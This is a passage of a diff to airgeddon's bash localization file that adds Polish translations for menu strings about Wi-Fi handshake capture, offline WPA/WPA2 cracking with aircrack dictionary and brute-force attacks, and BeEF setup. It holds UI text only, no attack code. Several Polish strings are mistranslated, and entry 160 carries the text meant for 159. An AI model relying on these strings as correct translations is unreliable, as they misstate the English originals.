рукопожатия..." arr["GREEK",150]="Δεν εντοπίστηκε κάποιο αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["ITALIAN",150]="Non è stato trovato nessun file di Handshake catturato in questa sessione..." - arr["POLISH",150]="${pending_of_translation} " + arr["POLISH",150]="${pending_of_translation} Nie wykryto pliku Handshake przechwyconego w tej sesji..." arr["ENGLISH",151]="Handshake captured file detected during this session [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",151]="Se ha detectado un fichero de Handshake capturado en esta sesión [${normal_color}${enteredpath}${blue_color}]" @@ -1988,7 +1988,7 @@ function language_strings() { arr["RUSSIAN",151]="В этой сессии обнаружен файл с захваченным рукопожатием [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",151]="Εντοπίστηκε αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",151]="Trovato un file di Handshake catturato in questa sessione [${normal_color}${enteredpath}${blue_color}]" - arr["POLISH",151]="${pending_of_translation} " + arr["POLISH",151]="${pending_of_translation} W tej sesji został wykryty plik Handshake [${normal_color}${enteredpath}${blue_color}]" arr["ENGLISH",152]="Do you want to clean/optimize the Handshake captured file during this session? ${normal_color}${visual_choice}" arr["SPANISH",152]="¿Quieres limpiar/optimizar el fichero de Handshake capturado en esta sesión? ${normal_color}${visual_choice}" @@ -1998,7 +1998,7 @@ function language_strings() { arr["RUSSIAN",152]="Вы хотите очистить/оптимизировать захваченный за эту сессию файл рукопожания? ${normal_color}${visual_choice}" arr["GREEK",152]="Θέλετε να καθαρίσετε/βελτιστοποιήσετε το αρχείο καταγραφής Χειραψίας της συνεδρίας; ${normal_color}${visual_choice}" arr["ITALIAN",152]="Vuoi pulire/ottimizzare il file di Handshake catturato in questa sessione? ${normal_color}${visual_choice}" - arr["POLISH",152]="${pending_of_translation} " + arr["POLISH",152]="${pending_of_translation} Czy chcesz wyczyścić/zoptymalizować plik Handshake przechwycony w tej sesji? ${normal_color}${visual_choice}" arr["ENGLISH",153]="File cleaned/optimized successfully" arr["SPANISH",153]="Fichero limpiado/optimizado con éxito" @@ -2008,7 +2008,7 @@ function language_strings() { arr["RUSSIAN",153]="Файл успешно очищен/оптимизирован" arr["GREEK",153]="Το αρχείο καθαρίστηκε/βελτιστοποιήθηκε επιτυχώς" arr["ITALIAN",153]="File pulito/ottimizzato con successo" - arr["POLISH",153]="${pending_of_translation} " + arr["POLISH",153]="${pending_of_translation} Pomyślnie wyczyszczony/zoptymalizowany plik" arr["ENGLISH",154]="Set path to file :" arr["SPANISH",154]="Introduce la ruta al fichero :" @@ -2018,7 +2018,7 @@ function language_strings() { arr["RUSSIAN",154]="Установить путь до файла :" arr["GREEK",154]="Θέστε μονοπάτι για το αρχείο :" arr["ITALIAN",154]="Introdurre il percorso del file :" - arr["POLISH",154]="${pending_of_translation} " + arr["POLISH",154]="${pending_of_translation} Wprowadź ścieżkę do pliku :" arr["ENGLISH",155]="The directory exists but you didn't specify filename. It will be autogenerated [${normal_color}${suggested_filename}${yellow_color}]" arr["SPANISH",155]="El directorio existe pero no se especificó nombre de fichero. Se autogenerará [${normal_color}${suggested_filename}${yellow_color}]" @@ -2028,7 +2028,7 @@ function language_strings() { arr["RUSSIAN",155]="Директория существует, но вы не указали имя файла. Оно будет сгенерировано автоматически [${normal_color}${suggested_filename}${yellow_color}]" arr["GREEK",155]="Ο κατάλογος υπάρχει αλλά δεν έχετε προσδιορίσει το όνομα του αρχείου [${normal_color}${suggested_filename}${yellow_color}]" arr["ITALIAN",155]="La directory esiste, peró non è stato specificato il nome del file. Sarà generato automaticamente [${normal_color}${suggested_filename}${yellow_color}]" - arr["POLISH",155]="${pending_of_translation} " + arr["POLISH",155]="${pending_of_translation} Katalog istnieje, ale nie określono nazwy pliku. To będzie samo-generować [${normal_color}${suggested_filename}${yellow_color}]" arr["ENGLISH",156]="Directory not exists" arr["SPANISH",156]="El directorio no existe" @@ -2038,7 +2038,7 @@ function language_strings() { arr["RUSSIAN",156]="Директория не существует" arr["GREEK",156]="Ο κατάλογος δεν υπάρχει" arr["ITALIAN",156]="La directory non esiste" - arr["POLISH",156]="${pending_of_translation} " + arr["POLISH",156]="${pending_of_translation} Katalog nie istnieje" arr["ENGLISH",157]="The path exists but you don't have write permissions" arr["SPANISH",157]="La ruta existe pero no tienes permisos de escritura" @@ -2048,7 +2048,7 @@ function language_strings() { arr["RUSSIAN",157]="Путь существует, но у вас нет прав на запись" arr["GREEK",157]="Το μονοπάτι υπάρχει, αλλά δεν έχετε δικαιώματα εγγραφής" arr["ITALIAN",157]="Il percorso esiste, ma non si dispone dei permessi di scrittura" - arr["POLISH",157]="${pending_of_translation} " + arr["POLISH",157]="${pending_of_translation} Ścieżka istnieje, ale nie masz uprawnień do zapisu" arr["ENGLISH",158]="The path is valid and you have write permissions. Script can continue..." arr["SPANISH",158]="La ruta es válida y tienes permisos de escritura. El script puede continuar..." @@ -2058,7 +2058,7 @@ function language_strings() { arr["RUSSIAN",158]="Путь существует и у вас есть права на запись. Скрипт может продолжить..." arr["GREEK",158]="Το μονοπάτι είναι έγκυρο και έχετε δικαιώματα εγγραφής. Το script μπορεί να συνεχίσει..." arr["ITALIAN",158]="Il percorso è valido e si dispone di permessi di scrittura. Lo script può continuare..." - arr["POLISH",158]="${pending_of_translation} " + arr["POLISH",158]="${pending_of_translation} Ścieżka jest poprawna i masz uprawnienia do zapisu. Skrypt może kontynuować..." arr["ENGLISH",159]="The file doesn't need to be cleaned/optimized" arr["SPANISH",159]="El fichero no necesita ser limpiado/optimizado" @@ -2078,7 +2078,7 @@ function language_strings() { arr["RUSSIAN",160]="Нет задач для выполнения перед выходом" arr["GREEK",160]="Δεν απομένει κάποιο task για να εκτελεστεί στην έξοδο" arr["ITALIAN",160]="Non bisogna fare niente dopo l'uscita dello script" - arr["POLISH",160]="${pending_of_translation} " + arr["POLISH",160]="${pending_of_translation} Plik nie musi być czyszczony/zoptymalizowany" arr["ENGLISH",161]="File not exists" arr["SPANISH",161]="El fichero no existe" @@ -2088,7 +2088,7 @@ function language_strings() { arr["RUSSIAN",161]="Файл не существует" arr["GREEK",161]="Το αρχείο δεν υπάρχει" arr["ITALIAN",161]="Il file non esiste" - arr["POLISH",161]="${pending_of_translation} " + arr["POLISH",161]="${pending_of_translation} Plik nie istnieje" arr["ENGLISH",162]="Congratulations!!" arr["SPANISH",162]="Enhorabuena!!" @@ -2098,7 +2098,7 @@ function language_strings() { arr["RUSSIAN",162]="Поздравления!!" arr["GREEK",162]="Συγχαρητήρια!!" arr["ITALIAN",162]="Congratulazioni!!" - arr["POLISH",162]="${pending_of_translation} " + arr["POLISH",162]="${pending_of_translation} Gratulacje!!" arr["ENGLISH",163]="When airgeddon requests you to enter a path to a file either to use a dictionary, a Handshake or anything else, did you know that you can drag and drop the file over the airgeddon window? In this way you don't have to type the path manually" arr["SPANISH",163]="Cuando airgeddon solicita que introduzcas una ruta a un fichero ya sea para utilizar un diccionario, un Handshake o cualquier otra cosa, ¿sabías que puedes arrastrar y soltar el fichero sobre la ventana de airgeddon? Así no tendrás que escribir la ruta manualmente" @@ -2108,7 +2108,7 @@ function language_strings() { arr["RUSSIAN",163]="Когда airgeddon просит вас ввести путь до файла, будь то словарь, рукопожатие или что-то ещё, знаете ли вы, что можно захватить этот файл мышкой, перетащить и бросить этот файл прямо в окно airgeddon? Таким образом вам не придётся вводить путь до файла вручную" arr["GREEK",163]="Γνωρίζατε ότι μπορείτε να εισάγετε μονοπάτι για κάποιο αρχείο είτε για να χρησιμοποιήσετε λεξικό, αρχείο Χειραψίας ή οτιδήποτε άλλο, κάνοντας Drag & Drop το αρχείο αυτό στο παράθυρο του airgeddon; Με αυτόν τον τρόπο δεν χρειάζεται να πλεικτρολογείτε το μονοπάτι χειροκίνητα" arr["ITALIAN",163]="Quando airgeddon chiede di introdurre il percorso di un file per utilizzare un dizionario, un Handshake o qualsiasi altra cosa, sapevi che puoi trascinare e rilasciare il file sulla finestra di airgeddon? Cosí non dovrai digitare manualmente il percorso" - arr["POLISH",163]="${pending_of_translation} " + arr["POLISH",163]="${pending_of_translation} Kiedy airgeddon poprosi Cię o wpisanie ścieżki do pliku, aby użyć słownika, Handshake lub cokolwiek innego, czy wiesz, że możesz przeciągnąć i upuścić plik przez okno airgeddon? Więc nie musisz wpisywać trasy ręcznie" arr["ENGLISH",164]="Cleaning temp files" arr["SPANISH",164]="Limpiando archivos temporales" @@ -2118,7 +2118,7 @@ function language_strings() { arr["RUSSIAN",164]="Очистка временных файлов" arr["GREEK",164]="Γίνεται καθαρισμός προσωρινών αρχείων" arr["ITALIAN",164]="Pulendo i file temporanei" - arr["POLISH",164]="${pending_of_translation} " + arr["POLISH",164]="${pending_of_translation} Usuwanie tymczasowych plików" arr["ENGLISH",165]="Checking if cleaning/restoring tasks are needed..." arr["SPANISH",165]="Comprobando si hay que realizar tareas de limpieza/restauración..." @@ -2128,7 +2128,7 @@ function language_strings() { arr["RUSSIAN",165]="Проверка, нужны ли задачи по очистке/восстановлению..." arr["GREEK",165]="Γίνεται έλεγχος αν χρειάζονται tasks καθαρισμού/αποκατάστασης..." arr["ITALIAN",165]="Verificando se è necessarrio eseguire la pulizia/restauro..." - arr["POLISH",165]="${pending_of_translation} " + arr["POLISH",165]="${pending_of_translation} Sprawdzenie czy wymagane jest czyszczenie/przywrócenie..." arr["ENGLISH",166]="Do you want to preserve monitor mode for your card on exit? ${normal_color}${visual_choice}" arr["SPANISH",166]="¿Deseas conservar el modo monitor de tu interfaz al salir? ${normal_color}${visual_choice}" @@ -2138,7 +2138,7 @@ function language_strings() { arr["RUSSIAN",166]="Вы хотите сохранить режим монитора вашей карты при выходе? ${normal_color}${visual_choice}" arr["GREEK",166]="Θέλετε να παραμείνει η κάρτα σε κατάσταση παρακολούθησης κατά την έξοδο; ${normal_color}${visual_choice}" arr["ITALIAN",166]="Vuoi mantenere l'interfaccia in modalità monitor dopo essere uscito? ${normal_color}${visual_choice}" - arr["POLISH",166]="${pending_of_translation} " + arr["POLISH",166]="${pending_of_translation} Czy chcesz zachować tryb monitora podczas wychodzenia? ${normal_color}${visual_choice}" arr["ENGLISH",167]="Putting your interface in managed mode" arr["SPANISH",167]="Poniendo interfaz en modo managed" @@ -2148,7 +2148,7 @@ function language_strings() { arr["RUSSIAN",167]="Перевод вашего интерфейса в управляемый режим" arr["GREEK",167]="Η διεπαφή μπαίνει σε ετερόκλητη κατάσταση" arr["ITALIAN",167]="Mettendo l'interfaccia in modalità managed" - arr["POLISH",167]="${pending_of_translation} " + arr["POLISH",167]="${pending_of_translation} Łączenie w trybie zarządzania" arr["ENGLISH",168]="Launching previously killed processes" arr["SPANISH",168]="Arrancando procesos cerrados anteriormente" @@ -2158,7 +2158,7 @@ function language_strings() { arr["RUSSIAN",168]="Запуск ранее убитых процессов" arr["GREEK",168]="Γίνεται έναρξη των προηγούμενων σταματημένων διεργασιών" arr["ITALIAN",168]="Lanciando i processi chiusi precedentemente" - arr["POLISH",168]="${pending_of_translation} " + arr["POLISH",168]="${pending_of_translation} Uruchamianie wcześniej zamkniętych procesów" arr["ENGLISH",169]="6. Offline WPA/WPA2 decrypt menu" arr["SPANISH",169]="6. Menú de desencriptado WPA/WPA2 offline" @@ -2168,7 +2168,7 @@ function language_strings() { arr["RUSSIAN",169]="6. Меню офлайн расшифровки WPA/WPA2" arr["GREEK",169]="6. Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",169]="6. Menù per decifrare WPA/WPA2 offline" - arr["POLISH",169]="${pending_of_translation} " + arr["POLISH",169]="${pending_of_translation} 6. Menu deszyfrowania offline WPA/WPA2" arr["ENGLISH",170]="Offline WPA/WPA2 decrypt menu" arr["SPANISH",170]="Menú de desencriptado WPA/WPA2 offline" @@ -2178,7 +2178,7 @@ function language_strings() { arr["RUSSIAN",170]="Меню офлайн расшифровки WPA/WPA2" arr["GREEK",170]="Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",170]="Menù per decifrare WPA/WPA2 offline" - arr["POLISH",170]="${pending_of_translation} " + arr["POLISH",170]="${pending_of_translation} Menu deszyfrowania offline WPA/WPA2" arr["ENGLISH",171]="The key decrypt process is performed offline on a previously captured file" arr["SPANISH",171]="El proceso de desencriptado de las claves se realiza de manera offline sobre un fichero capturado previamente" @@ -2188,7 +2188,7 @@ function language_strings() { arr["RUSSIAN",171]="Процесс расшифровки ключа выполняется офлайн на ранее захваченном файле" arr["GREEK",171]="Η διεργασία αποκρυπτογράφησης κλειδιού έχει εκτελεστεί offline σε προηγούμενο αρχείο καταγραφής" arr["ITALIAN",171]="Il processo di decodifica della chiave viene eseguito offline su un file catturato precedentemente" - arr["POLISH",171]="${pending_of_translation} " + arr["POLISH",171]="${pending_of_translation} Proces deszyfrowania kluczy odbywa się offline na poprzednio zrobionym pliku" arr["ENGLISH",172]="1. (aircrack) Dictionary attack against capture file" arr["SPANISH",172]="1. (aircrack) Ataque de diccionario sobre fichero de captura" @@ -2198,7 +2198,7 @@ function language_strings() { arr["RUSSIAN",172]="1. (aircrack) Атака по словарю в отношении захваченного файла" arr["GREEK",172]="1. (aircrack) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής" arr["ITALIAN",172]="1. (aircrack) Attacco dizionario sul file di cattura" - arr["POLISH",172]="${pending_of_translation} " + arr["POLISH",172]="${pending_of_translation} 1. (aircrack) Słownik ataku na plik przechwytywania" arr["ENGLISH",173]="Selected capture file: ${pink_color}${enteredpath}${normal_color}" arr["SPANISH",173]="Fichero de captura seleccionado: ${pink_color}${enteredpath}${normal_color}" @@ -2208,7 +2208,7 @@ function language_strings() { arr["RUSSIAN",173]="Выбранный файл захвата: ${pink_color}${enteredpath}${normal_color}" arr["GREEK",173]="Επιλεγμένο αρχείο καταγραφής: ${pink_color}${enteredpath}${normal_color}" arr["ITALIAN",173]="File di cattura selezionato: ${pink_color}${enteredpath}${normal_color}" - arr["POLISH",173]="${pending_of_translation} " + arr["POLISH",173]="${pending_of_translation} Wybrany plik przechwytywania: ${pink_color}${enteredpath}${normal_color}" arr["ENGLISH",174]="6. Return to main menu" arr["SPANISH",174]="6. Volver al menú principal" @@ -2218,7 +2218,7 @@ function language_strings() { arr["RUSSIAN",174]="6. Возврат в главное меню" arr["GREEK",174]="6. Επιστροφή στο αρχικό μενού" arr["ITALIAN",174]="6. Torna al menú principale" - arr["POLISH",174]="${pending_of_translation} " + arr["POLISH",174]="${pending_of_translation} 6. Wróć do menu głównego" arr["ENGLISH",175]="2. (aircrack + crunch) Bruteforce attack against capture file" arr["SPANISH",175]="2. (aircrack + crunch) Ataque de fuerza bruta sobre fichero de captura" @@ -2228,7 +2228,7 @@ function language_strings() { arr["RUSSIAN",175]="2. (aircrack + crunch) Атака методом грубой силы в отношении захваченного файла" arr["GREEK",175]="2. (aircrack + crunch) Επίθεση ωμής βίας σε αρχείο καταγραφής" arr["ITALIAN",175]="2. (aircrack + crunch) Attacco di forza bruta sul file di cattura" - arr["POLISH",175]="${pending_of_translation} " + arr["POLISH",175]="${pending_of_translation} 2. (aircrack + crunch) Brute force atak na przechwytywanie pliku" arr["ENGLISH",176]="aircrack CPU, non GPU attacks" arr["SPANISH",176]="ataques aircrack CPU, no GPU" @@ -2238,7 +2238,7 @@ function language_strings() { arr["RUSSIAN",176]="aircrack атаки с использованием процессора, а не видеокарты" arr["GREEK",176]="επιθέσεις aircrack CPU, όχι GPU" arr["ITALIAN",176]="attacchi aircrack CPU, non GPU" - arr["POLISH",176]="${pending_of_translation} " + arr["POLISH",176]="${pending_of_translation} ataki CPU, na GPU" arr["ENGLISH",177]="Selected captured file: ${pink_color}None${normal_color}" arr["SPANISH",177]="Fichero capturado seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2248,7 +2248,7 @@ function language_strings() { arr["RUSSIAN",177]="Выбран файл захвата: ${pink_color}Нет${normal_color}" arr["GREEK",177]="Επιλεγμένο αρχείο καταγραφής: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",177]="File catturato selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",177]="${pending_of_translation} " + arr["POLISH",177]="${pending_of_translation} Wybrany przechwycony plik: ${pink_color}Brak${normal_color}" arr["ENGLISH",178]="To decrypt the key of a WPA/WPA2 network, the capture file must contain a Handshake" arr["SPANISH",178]="Para desencriptar la clave de una red WPA/WPA2, el fichero de captura debe contener un Handshake" @@ -2258,7 +2258,7 @@ function language_strings() { arr["RUSSIAN",178]="Для расшифровки ключа сетей WPA/WPA2, файл захвата должен содержать четырёхэтапное рукопожатие" arr["GREEK",178]="Για να αποκρυπτογραφήσετε το κλειδί ενός WPA/WPA2 δικτύου, το αρχείο καταγραφής πρέπει να περιέχει μία Χειραψία" arr["ITALIAN",178]="Per decriptare la chiave per una rete WPA/WPA2, il file di cattura deve contenere un Handshake" - arr["POLISH",178]="${pending_of_translation} " + arr["POLISH",178]="${pending_of_translation} Aby odszyfrować klucz sieci WPA/WPA2, plik przechwytywania musi zawierać Handshake" arr["ENGLISH",179]="Decrypting by bruteforce, it could pass hours, days, weeks or even months to take it depending on the complexity of the password and your processing speed" arr["SPANISH",179]="Desencriptando por fuerza bruta, podrían pasar horas, días, semanas o incluso meses hasta conseguirlo dependiendo de la complejidad de la contraseña y de tu velocidad de proceso" @@ -2268,7 +2268,7 @@ function language_strings() { arr["RUSSIAN",179]="Расшифровка полным перебором может занять часы, дни, недели или даже месяцы в зависимости от сложности пароля и вашей скорости обработки" arr["GREEK",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού πρόσβασης και την ταχύτητα του επεξεργαστή" arr["ITALIAN",179]="Decifrando con forza bruta, potrebbero trascorrere ore, giorni, settimane o addirittura mesi per ottenere la password a seconda della sua complessità e della velocità del processore" - arr["POLISH",179]="${pending_of_translation} " + arr["POLISH",179]="${pending_of_translation} Przez odszyfrowywanie przez brutalne życie, mogli spędzić godziny, dni, tygodnie lub nawet miesiące, aby uzyskać to w zależności od złożoności hasła i szybkości przetwarzania" arr["ENGLISH",180]="Enter the path of a dictionary file :" arr["SPANISH",180]="Introduce la ruta de un fichero de diccionario :" @@ -2278,7 +2278,7 @@ function language_strings() { arr["RUSSIAN",180]="Введите путь до файла словаря :" arr["GREEK",180]="Εισάγετε το μονοπάτι ενός λεξικού :" arr["ITALIAN",180]="Immettere il percorso di un file dizionario :" - arr["POLISH",180]="${pending_of_translation} " + arr["POLISH",180]="${pending_of_translation} Wprowadź ścieżkę pliku słownika :" arr["ENGLISH",181]="The path to the dictionary file is valid. Script can continue..." arr["SPANISH",181]="La ruta al fichero de diccionario es válida. El script puede continuar..." @@ -2288,7 +2288,7 @@ function language_strings() { arr["RUSSIAN",181]="Путь до файла словаря правильный. Скрипт может продолжить..." arr["GREEK",181]="Το μονοπάτι για το λεξικό είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",181]="Il percorso del file dizionario è valido. Lo script può continuare..." - arr["POLISH",181]="${pending_of_translation} " + arr["POLISH",181]="${pending_of_translation} Ścieżka do pliku słownika jest prawidłowa. Skrypt może kontynuować..." arr["ENGLISH",182]="Selected dictionary file: ${pink_color}${DICTIONARY}${normal_color}" arr["SPANISH",182]="Fichero de diccionario seleccionado: ${pink_color}${DICTIONARY}${normal_color}" @@ -2298,7 +2298,7 @@ function language_strings() { arr["RUSSIAN",182]="Выбранный файл словаря: ${pink_color}${DICTIONARY}${normal_color}" arr["GREEK",182]="Επιλεγμένο λεξικό: ${pink_color}${DICTIONARY}${normal_color}" arr["ITALIAN",182]="File di dizionario selezionato: ${pink_color}${DICTIONARY}${normal_color}" - arr["POLISH",182]="${pending_of_translation} " + arr["POLISH",182]="${pending_of_translation} Wybrany plik słownika: ${pink_color}${DICTIONARY}${normal_color}" arr["ENGLISH",183]="You already have selected a dictionary file during this session [${normal_color}${DICTIONARY}${blue_color}]" arr["SPANISH",183]="Ya tienes seleccionado un fichero de diccionario en esta sesión [${normal_color}${DICTIONARY}${blue_color}]" @@ -2308,7 +2308,7 @@ function language_strings() { arr["RUSSIAN",183]="Во время этой сессии вы выбрали файл словаря [${normal_color}${DICTIONARY}${blue_color}]" arr["GREEK",183]="Έχετε ήδη επιλέξει λεξικό κατά τη διάρκεια της συνεδρίας [${normal_color}${DICTIONARY}${blue_color}]" arr["ITALIAN",183]="È stato selezionato un file di dizionario in questa sessione [${normal_color}${DICTIONARY}${blue_color}]" - arr["POLISH",183]="${pending_of_translation} " + arr["POLISH",183]="${pending_of_translation} W tej sesji wybrano plik słownika [${normal_color}${DICTIONARY}${blue_color}]" arr["ENGLISH",184]="Do you want to use this already selected dictionary file? ${normal_color}${visual_choice}" arr["SPANISH",184]="¿Quieres utilizar este fichero de diccionario ya seleccionado? ${normal_color}${visual_choice}" @@ -2318,7 +2318,7 @@ function language_strings() { arr["RUSSIAN",184]="Вы хотите использовать этот уже выбранный файл словаря? ${normal_color}${visual_choice}" arr["GREEK",184]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο λεξικό; ${normal_color}${visual_choice}" arr["ITALIAN",184]="Vuoi utilizzare questo file di dizionario già selezionato? ${normal_color}${visual_choice}" - arr["POLISH",184]="${pending_of_translation} " + arr["POLISH",184]="${pending_of_translation} Czy chcesz użyć tego pliku słownik już wybranego? ${normal_color}${visual_choice}" arr["ENGLISH",185]="Selected BSSID: ${pink_color}None${normal_color}" arr["SPANISH",185]="BSSID seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2328,7 +2328,7 @@ function language_strings() { arr["RUSSIAN",185]="Выбранная BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",185]="Επιλεγμένο BSSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",185]="BSSID selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",185]="${pending_of_translation} " + arr["POLISH",185]="${pending_of_translation} Wybrany BSSID: ${pink_color}Brak${normal_color}" arr["ENGLISH",186]="You already have selected a capture file during this session [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",186]="Ya tienes seleccionado un fichero de captura en esta sesión [${normal_color}${enteredpath}${blue_color}]" @@ -2338,7 +2338,7 @@ function language_strings() { arr["RUSSIAN",186]="Вы уже выбрали файл захвата во время этой сессии [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",186]="Έχετε ήδη επιλέξει αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",186]="È stato selezionato un file di cattura in questa sessione [${normal_color}${enteredpath}${blue_color}]" - arr["POLISH",186]="${pending_of_translation} " + arr["POLISH",186]="${pending_of_translation} W tej sesji wybrano już plik przechwytywania [${normal_color}${enteredpath}${blue_color}]" arr["ENGLISH",187]="Do you want to use this already selected capture file? ${normal_color}${visual_choice}" arr["SPANISH",187]="¿Quieres utilizar este fichero de captura ya seleccionado? ${normal_color}${visual_choice}" @@ -2348,7 +2348,7 @@ function language_strings() { arr["RUSSIAN",187]="Вы хотите использовать этот уже выбранный файл захвата? ${normal_color}${visual_choice}" arr["GREEK",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής; ${normal_color}${visual_choice}" arr["ITALIAN",187]="Vuoi utilizzare questo file di cattura giá selezionato? ${normal_color}${visual_choice}" - arr["POLISH",187]="${pending_of_translation} " + arr["POLISH",187]="${pending_of_translation} Czy chcesz użyć już wybranego pliku przechwytywania? ${normal_color}${visual_choice}" arr["ENGLISH",188]="Enter the path of a captured file :" arr["SPANISH",188]="Introduce la ruta de un fichero de captura :" @@ -2358,7 +2358,7 @@ function language_strings() { arr["RUSSIAN",188]="Введите путь файла захвата :" arr["GREEK",188]="Εισάγετε το μονοπάτι για ένα αρχείο καταγραφής :" arr["ITALIAN",188]="Immettere il percorso di un file di cattura :" - arr["POLISH",188]="${pending_of_translation} " + arr["POLISH",188]="${pending_of_translation} Wprowadź ścieżkę pliku przechwytywania :" arr["ENGLISH",189]="The path to the capture file is valid. Script can continue..." arr["SPANISH",189]="La ruta al fichero de captura es válida. El script puede continuar..." @@ -2368,7 +2368,7 @@ function language_strings() { arr["RUSSIAN",189]="Путь до файла захвата верен. Скрипт может продолжать..." arr["GREEK",189]="Το μονοπάτι για το αρχείο καταγραφής είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",189]="Il percorso del file di cattura è valido. Lo script può continuare..." - arr["POLISH",189]="${pending_of_translation} " + arr["POLISH",189]="${pending_of_translation} Ścieżka do pliku przechwytywania jest prawidłowa. Skrypt może kontynuować..." arr["ENGLISH",190]="Starting decrypt. When started, press [Ctrl+C] to stop..." arr["SPANISH",190]="Comenzando desencriptado. Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -2378,7 +2378,7 @@ function language_strings() { arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",190]="Cominciando a decifrare. Una volta avviato, premere [Ctrl+C] per fermare..." - arr["POLISH",190]="${pending_of_translation} " + arr["POLISH",190]="${pending_of_translation} Uruchamianie odszyfrowane. Po rozpoczęciu naciśnij [Ctrl+C], aby go zatrzymać..." arr["ENGLISH",191]="${blue_color}airgeddon can't find the directory path where you have BeEF installed. ${green_color}Do you want to enter it manually? ${normal_color}${visual_choice}" arr["SPANISH",191]="${blue_color}airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ${green_color}¿Quieres introducirla manualmente? ${normal_color}${visual_choice}" @@ -2388,7 +2388,7 @@ function language_strings() { arr["RUSSIAN",191]="${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите ввести его вручную? ${normal_color}${visual_choice}" arr["GREEK",191]="${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}${visual_choice}" arr["ITALIAN",191]="${blue_color}airgeddon non ha potuto trovare il percorso della directory in cui è stato installato BeEF. ${green_color}Vuoi inserirlo manualmente? ${normal_color}${visual_choice}" - arr["POLISH",191]="${pending_of_translation} " + arr["POLISH",191]="${pending_of_translation} ${blue_color}airgeddon nie mógł znaleźć ścieżki katalogu, w której zainstalowano system BeEF. ${green_color}Czy chcesz go wprowadzić ręcznie? ${normal_color}${visual_choice}" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" arr["SPANISH",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura [${normal_color}${bssid}${blue_color}]" @@ -2398,7 +2398,7 @@ function language_strings() { arr["RUSSIAN",192]="У вас уже есть выбранная во время этой сессии BSSID и она присутствует в файле захвата [${normal_color}${bssid}${blue_color}]" arr["GREEK",192]="Έχετε ήδη επιλέξει BSSID κατά τη διάρκεια της συνεδρίας και βρίσκεται στο αρχείο καταγραφής [${normal_color}${bssid}${blue_color}]" arr["ITALIAN",192]="È stato selezionato un BSSID in questa sessione che è giá presente nel file di cattura [${normal_color}${bssid}${blue_color}]" - arr["POLISH",192]="${pending_of_translation} " + arr["POLISH",192]="${pending_of_translation} Wybrano już BSSID w tej sesji i jest on obecny w pliku przechwytywania [${normal_color}${bssid}${blue_color}]" arr["ENGLISH",193]="Do you want to use this already selected BSSID? ${normal_color}${visual_choice}" arr["SPANISH",193]="¿Quieres utilizar este BSSID ya seleccionado? ${normal_color}${visual_choice}" @@ -2408,7 +2408,7 @@ function language_strings() { arr["RUSSIAN",193]="Вы хотите использовать эту уже выбранную BSSID? ${normal_color}${visual_choice}" arr["GREEK",193]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο BSSID; ${normal_color}${visual_choice}" arr["ITALIAN",193]="Vuoi usare questo BSSID già selezionato? ${normal_color}${visual_choice}" - arr["POLISH",193]="${pending_of_translation} " + arr["POLISH",193]="${pending_of_translation} Czy chcesz użyć tego BSSID już wybranego? ${normal_color}${visual_choice}" arr["ENGLISH",194]="Enter the minimum length of the key to decrypt (8-63) :" arr["SPANISH",194]="Introduce la longitud mínima de la clave a desencriptar (8-63) :" @@ -2418,7 +2418,7 @@ function language_strings() { arr["RUSSIAN",194]="Введите минимальную длину ключа для расшифровки (8-63) :" arr["GREEK",194]="Εισάγετε το ελάχιστο μήκος κλειδιού για αποκρυπτογράφηση (8-63) :" arr["ITALIAN",194]="Inserire la lunghezza minima della chiave da decifrare (8-63) :" - arr["POLISH",194]="${pending_of_translation} " + arr["POLISH",194]="${pending_of_translation} Wpisz minimalną długość klucza do odszyfrowania (8-63) :" arr["ENGLISH",195]="Enter the maximum length of the key to decrypt (${minlength}-63) :" arr["SPANISH",195]="Introduce la longitud máxima de la clave a desencriptar (${minlength}-63) :" @@ -2428,7 +2428,7 @@ function language_strings() { arr["RUSSIAN",195]="Введите максимальную длину ключа для расшифровки (${minlength}-63) :" arr["GREEK",195]="Εισάγετε το μέγιστο μήκος κλειδιού για αποκρυπτογράφηση (${minlength}-63) :" arr["ITALIAN",195]="Inserire la lunghezza massima della chiave da decifrare (${minlength}-63) :" - arr["POLISH",195]="${pending_of_translation} " + arr["POLISH",195]="${pending_of_translation} Wpisz maksymalną długość klucza do odszyfrowania (${minlength}-63) :" arr["ENGLISH",196]="Select the character set to use :" 